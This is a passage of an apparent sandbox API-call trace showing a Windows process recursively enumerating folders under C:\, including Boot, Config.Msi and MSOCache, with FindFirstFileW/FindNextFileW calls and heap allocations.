lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.744] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.744] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.744] FindClose (in: hFindFile=0x7521b8 | out: hFindFile=0x7521b8) returned 1 [0053.744] GetProcessHeap () returned 0x730000 [0053.744] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x796bf0 | out: hHeap=0x730000) returned 1 [0053.744] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 1 [0053.744] GetProcessHeap () returned 0x730000 [0053.744] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x796bf0 [0053.744] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Boot\\zh-TW\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521b8 [0053.744] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.744] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0053.745] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe83216ab, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11240, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0053.745] FindClose (in: hFindFile=0x7521b8 | out: hFindFile=0x7521b8) returned 1 [0053.745] GetProcessHeap () returned 0x730000 [0053.745] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x796bf0 | out: hHeap=0x730000) returned 1 [0053.745] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac0f9880, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh-TW", cAlternateFileName="")) returned 0 [0053.745] FindClose (in: hFindFile=0x752c58 | out: hFindFile=0x752c58) returned 1 [0053.745] GetProcessHeap () returned 0x730000 [0053.745] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x785be0 | out: hHeap=0x730000) returned 1 [0053.745] FindNextFileW (in: hFindFile=0x750610, lpFindFileData=0x27ff9c0 | out: lpFindFileData=0x27ff9c0*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac0f9880, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac0f9880, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x84a3bb2c, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x5db2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr", cAlternateFileName="")) returned 1 [0053.745] FindNextFileW (in: hFindFile=0x750610, lpFindFileData=0x27ff9c0 | out: lpFindFileData=0x27ff9c0*(dwFileAttributes=0x27, ftCreationTime.dwLowDateTime=0xac54a060, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac54a060, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac54a060, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="BOOTSECT.BAK", cAlternateFileName="")) returned 1 [0053.745] FindNextFileW (in: hFindFile=0x750610, lpFindFileData=0x27ff9c0 | out: lpFindFileData=0x27ff9c0*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Config.Msi", cAlternateFileName="")) returned 1 [0053.745] GetProcessHeap () returned 0x730000 [0053.745] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x785be0 [0053.745] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Config.Msi\\*", lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752c58 [0053.746] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.746] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcd4f5c20, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0xc182c7c0, ftLastAccessTime.dwHighDateTime=0x1d3373b, ftLastWriteTime.dwLowDateTime=0xc182c7c0, ftLastWriteTime.dwHighDateTime=0x1d3373b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0053.746] FindClose (in: hFindFile=0x752c58 | out: hFindFile=0x752c58) returned 1 [0053.746] GetProcessHeap () returned 0x730000 [0053.746] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x785be0 | out: hHeap=0x730000) returned 1 [0053.746] FindNextFileW (in: hFindFile=0x750610, lpFindFileData=0x27ff9c0 | out: lpFindFileData=0x27ff9c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents and Settings", cAlternateFileName="DOCUME~1")) returned 1 [0053.746] FindNextFileW (in: hFindFile=0x750610, lpFindFileData=0x27ff9c0 | out: lpFindFileData=0x27ff9c0*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x56257dc0, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x56257dc0, ftLastAccessTime.dwHighDateTime=0x1d2de2a, ftLastWriteTime.dwLowDateTime=0xae99ef60, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x5ff9d000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="hiberfil.sys", cAlternateFileName="")) returned 1 [0053.746] FindNextFileW (in: hFindFile=0x750610, lpFindFileData=0x27ff9c0 | out: lpFindFileData=0x27ff9c0*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSOCache", cAlternateFileName="")) returned 1 [0053.746] GetProcessHeap () returned 0x730000 [0053.746] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x785be0 [0053.746] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\*", lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752c58 [0053.747] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x2013, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xe7b42810, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe7b42810, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.747] FindNextFileW (in: hFindFile=0x752c58, lpFindFileData=0x27ff738 | out: lpFindFileData=0x27ff738*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0053.747] GetProcessHeap () returned 0x730000 [0053.747] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x795be8 [0053.747] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\*", lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521b8 [0053.751] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe7b42810, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xa5cd3a40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5cd3a40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.752] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0016-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~3")) returned 1 [0053.752] GetProcessHeap () returned 0x730000 [0053.753] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e81870 [0053.753] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x752238 [0053.756] FindNextFileW (in: hFindFile=0x752238, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xee38cbf0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.756] FindNextFileW (in: hFindFile=0x752238, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x393df700, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x393df700, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xed035930, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x102fcbb, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelLR.cab", cAlternateFileName="")) returned 1 [0053.756] FindNextFileW (in: hFindFile=0x752238, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xece1ee80, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.msi", cAlternateFileName="")) returned 1 [0053.756] FindNextFileW (in: hFindFile=0x752238, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x61d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.xml", cAlternateFileName="")) returned 1 [0053.756] FindNextFileW (in: hFindFile=0x752238, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0053.756] FindNextFileW (in: hFindFile=0x752238, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee38cbf0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x8f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0053.756] FindClose (in: hFindFile=0x752238 | out: hFindFile=0x752238) returned 1 [0053.757] GetProcessHeap () returned 0x730000 [0053.757] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e81870 | out: hHeap=0x730000) returned 1 [0053.757] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0018-0409-1000-0000000FF1CE}-C", cAlternateFileName="{90140~2")) returned 1 [0053.757] GetProcessHeap () returned 0x730000 [0053.757] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e81870 [0053.757] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0018-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521f8 [0053.790] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.790] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi", cAlternateFileName="POWERP~1.MSI")) returned 1 [0053.790] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml", cAlternateFileName="POWERP~1.XML")) returned 1 [0053.790] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab", cAlternateFileName="")) returned 1 [0053.790] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0053.790] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0053.790] FindClose (in: hFindFile=0x7521f8 | out: hFindFile=0x7521f8) returned 1 [0053.791] GetProcessHeap () returned 0x730000 [0053.791] HeapFree (in: hHeap=0x730000, dwFlags=0x0, lpMem=0x2e81870 | out: hHeap=0x730000) returned 1 [0053.791] FindNextFileW (in: hFindFile=0x7521b8, lpFindFileData=0x27ff4b0 | out: lpFindFileData=0x27ff4b0*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9877A~1")) returned 1 [0053.791] GetProcessHeap () returned 0x730000 [0053.791] RtlAllocateHeap (HeapHandle=0x730000, Flags=0x0, Size=0x10000) returned 0x2e81870 [0053.791] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7521f8 [0053.801] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0053.801] FindNextFileW (in: hFindFile=0x7521f8, lpFindFileData=0x27ff228 | out: lpFindFileData=0x27ff228*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, 